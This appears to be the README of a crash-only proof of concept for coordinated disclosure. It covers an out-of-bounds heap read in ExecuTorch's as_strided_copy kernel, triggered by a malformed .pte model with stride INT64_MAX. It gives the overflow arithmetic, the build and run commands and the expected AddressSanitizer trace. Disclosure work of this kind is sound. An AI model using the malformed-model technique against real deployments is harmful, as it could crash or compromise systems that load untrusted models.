exutorch-pte-poc

This is a crash-only security proof of concept for coordinated disclosure. It has no persistence, networking, exfiltration, shell execution, or secondary payload.

Files

• executorch_as_strided_oob_read_poc.pte - malformed model file. Loading succeeds; executing forward triggers the bug under ASan.
• benign_as_strided.pte - control model exported from the same source before mutation.
• export_mutate.py - reproduces the export and single-field mutation.
• run_pte.py - small Python runtime smoke runner.
• asan_trace_executor_runner.txt - ASan output from running the malformed PTE through ExecuTorch executor_runner.
• benign_executor_stdout.txt / benign_executor_stderr.txt - control run output.

Hashes

benign_as_strided.pte
SHA256 d36dade687fab3936ef64843a6753ca7f033dd1513372eca36a9a8d5f7fa67b0

executorch_as_strided_oob_read_poc.pte
SHA256 0e326ce82365dfc27632e65f46502372afd974cf4f822d31c299032b0da5326b

Vulnerability Summary

The malformed model executes aten::as_strided_copy.out with:

size = [2]
stride = [INT64_MAX]
storage_offset = 0

kernels/portable/cpu/util/copy_ops_util.cpp computes required storage size with unchecked arithmetic:

size += strides[i] * (sizes[i] - 1)
size *= itemsize_bytes

The multiplication wraps, so check_as_strided_copy_args() accepts the request. Execution then reaches _as_strided_copy() in copy_ops_util.h and dereferences an input pointer advanced by the attacker-controlled stride.

Reproduction

Tested against pytorch/executorch commit:

f5acbdb00ebc5cf06258bdadc5bab82939667366

Build an ASan-instrumented portable executor runner:

git clone https://github.com/pytorch/executorch.git
cd executorch
git checkout f5acbdb00ebc5cf06258bdadc5bab82939667366
git submodule update --init --recursive third-party/json third-party/gflags third-party/flatbuffers third-party/flatcc backends/xnnpack/third-party/FXdiv backends/xnnpack/third-party/cpuinfo backends/xnnpack/third-party/pthreadpool

python3 -m venv ../et-venv
source ../et-venv/bin/activate
python -m pip install --upgrade pip
python -m pip install torch executorch flatbuffers

cmake -S . -B cmake-asan-runner -G Ninja \
  -DPYTHON_EXECUTABLE="$PWD/../et-venv/bin/python" \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
  -DEXECUTORCH_BUILD_EXECUTOR_RUNNER=ON \
  -DEXECUTORCH_BUILD_EXTENSION_RUNNER_UTIL=ON \
  -DEXECUTORCH_BUILD_EXTENSION_DATA_LOADER=ON \
  -DEXECUTORCH_BUILD_EXTENSION_EVALUE_UTIL=ON \
  -DEXECUTORCH_BUILD_KERNELS_OPTIMIZED=OFF \
  -DEXECUTORCH_BUILD_KERNELS_QUANTIZED=OFF \
  -DEXECUTORCH_BUILD_KERNELS_LLM=OFF \
  -DEXECUTORCH_BUILD_XNNPACK=OFF \
  -DEXECUTORCH_BUILD_CPUINFO=OFF \
  -DEXECUTORCH_BUILD_PTHREADPOOL=OFF \
  -DEXECUTORCH_BUILD_TESTS=OFF

cmake --build cmake-asan-runner --target executor_runner -j2

Run the benign control:

ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 \
  ./cmake-asan-runner/executor_runner \
  --model_path ../hf_upload_as_strided_pte/benign_as_strided.pte \
  --method_name forward

Expected benign output:

Model executed successfully
OutputX 0: tensor(sizes=[2], [1., 1.])

Run the malformed PTE:

ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1 \
  ./cmake-asan-runner/executor_runner \
  --model_path ../hf_upload_as_strided_pte/executorch_as_strided_oob_read_poc.pte \
  --method_name forward

Expected result:

ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
_as_strided_copy<float>
kernels/portable/cpu/util/copy_ops_util.h:39
torch::executor::native::as_strided_copy_out
kernels/portable/cpu/op_as_strided_copy.cpp:51
executorch::runtime::Method::execute_instruction
runtime/executor/method.cpp:1472
executorch::runtime::Method::execute
runtime/executor/method.cpp:1758

The included asan_trace_executor_runner.txt contains the full trace from the tested run.